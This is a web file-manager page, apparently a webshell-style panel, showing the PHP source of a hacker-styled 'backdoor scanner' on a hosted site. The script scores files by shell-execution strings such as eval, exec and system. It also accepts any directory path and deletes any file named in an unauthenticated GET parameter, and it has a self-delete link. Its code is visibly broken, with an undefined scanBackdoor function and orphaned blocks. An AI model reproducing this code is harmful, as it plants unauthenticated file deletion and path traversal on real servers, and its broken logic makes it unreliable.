文件操作 - scanning.php

文件: /storage/v12552/jimbrandstatter/public_html/scanning.php

编辑文件内容

<?php
/*
author :sohay update: Seo Racun
title: backdoor scanner v 2.0.0
*/
echo '<style>body {background-color:#000;color:green;} body,td,th { font: 9pt Courier New;margin:0;vertical-align:top; } span,h1,a { color:#00ff00} span { font-weight: bolder; } h1 { border:1px solid #00ff00;padding: 2px 5px;font: 14pt Courier New;margin:0px; } div.content { padding: 5px;margin-left:5px;} a { text-decoration:none; } a:hover { background:#ff0000; } .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea { width:100%;height:250px; } input, textarea, select { margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,"Courier New"; } form { margin:0px; } #toolsTbl { text-align:center; } .toolsInp { width: 80%; } .main th {text-align:left;} .main tr:hover{background-color:#5e5e5e;} .main td, th{vertical-align:middle;} pre {font-family:Courier,Monospace;} #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft   document.documentElement.clientWidth - offsetWidth);} .style2 {color: #00FF00} .style3 {color: #009900} .style4 {color: #006600} .style5 {color: #00CC00} .style6 {color: #003300} .style8 {color: #33CC00} #footer { margin-bottom: 10px; color: #666; vertical-align: top; text-align: center; font-size: 11px; } #footer ul { margin: 0; padding: 0; list-style: none; } #footer li { display: inline-block; margin-right: 15px; border-right: 1px solid #666; vertical-align: middle; } #footer li a { margin-right: 15px; } #footer li:last-child { margin-right: 0; border-right: 0; } #footer li:last-child a { margin-right: 0; } #footer a { color: #666; } #footer a:hover { color: #858585; } #footer .footer-left { height: 20px; vertical-align: middle; line-height: 20px; } @media (min-width: 39rem) { #footer { display: flex; flex-flow: row wrap; justify-content: space-between; align-items: center; align-content: center; margin-bottom: 20px; } #footer .footer-left { align-self: flex-start; margin-right: 20px; } #footer .footer-right { align-self: flex-end; } }</style>';

set_time_limit(0);
error_reporting(0);
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
for($i = 0; $i < ob_get_level(); $i++) { ob_end_flush(); }
ob_implicit_flush(1);

$path = getcwd();
if (isset($_GET['dir'])) {
    $path = $_GET['dir'];
}

if (isset($_GET['kill'])) {
    unlink(__FILE__);
    exit('Script deleted.');
}

echo "<a href='?kill'><font color='yellow'>[Self Delete]</font></a><br>";
echo '<form action="" method="get"> <input type="text" name="dir" value="' . $path . '" style="width: 548px;"> <input type="submit" value="Scan"></form><br>';
echo "CURRENT DIR: <font color='yellow'>$path</font><br>";

if (isset($_GET['delete'])) {
    unlink($_GET['delete']);
    $status = "<font color='red'>FAILED</font>";
    if (!file_exists($_GET['delete'])) {
        $status = "<font color='yellow'>Success</font>";
    }
    echo "TRY TO DELETE: " . $_GET['delete'] . " $status <br>";
    exit;
}

scanBackdoor($path);

function save($fname, $value)
{
    $file = fopen($fname, "a");
    fwrite($file, $value);
    fclose($file);
}

function checkBackdoor($file_location)
{
    global $path;

$patterns = [
        'exec(' => 5,
        'gzinflate(' => 3,
        'file_put_contents(' => 2,
        'file_get_contents(' => 2,
        'system(' => 5,
        'passthru(' => 5,
        'shell_exec(' => 5,
        'move_uploaded_file(' => 4,
        'eval(' => 6,
        'base64' => 3
    ];

$contents = file_get_contents($file_location);
    if (strlen($contents) > 0) {
        $found_funcs = [];
        $total_score = 0;
        
        // Scan each pattern and count occurrences
        foreach ($patterns as $function => $score) {
            $count = substr_count(strtolower($contents), $function);
            if ($count > 0) {
                $found_funcs[$function] = ['count' => $count, 'score' => $score];
                $total_score += $count * $score;  // Calculate weighted score
            }
        }

if ($total_score > 0) {
            echo "[+] Suspect file -> <a href='?delete=" . urlencode($file_location) . "&dir=" . urlencode($path) . "'><font color='yellow'>[DELETE]</font></a> <font color='red'>$file_location</font> <br>";
            echo "<b>Total Score: $total_score</b><br>";

// Display functions found
            foreach ($found_funcs as $func => $details) {
                echo htmlspecialchars($func) . " (Count: " . $details['count'] . ", Score: " . $details['score'] . ")<br>";
            }

save("shell-found.txt", "$file_location\n");
            echo '<textarea name="content" cols="80" rows="15">' . htmlspecialchars($contents) . '</textarea><br><br>';
        }
    }
}

// Sort files by score
        arsort($files_with_scores);

// Display files based on priority (highest score first)
        foreach ($files_with_scores as $file => $score) {
            echo "File: $file - Score: $score <br>";
        }
    }
}
?>

文件操作 - scanning.php

文件: /storage/v12552/jimbrandstatter/public_html/scanning.php

编辑文件内容

修改文件时间

删除文件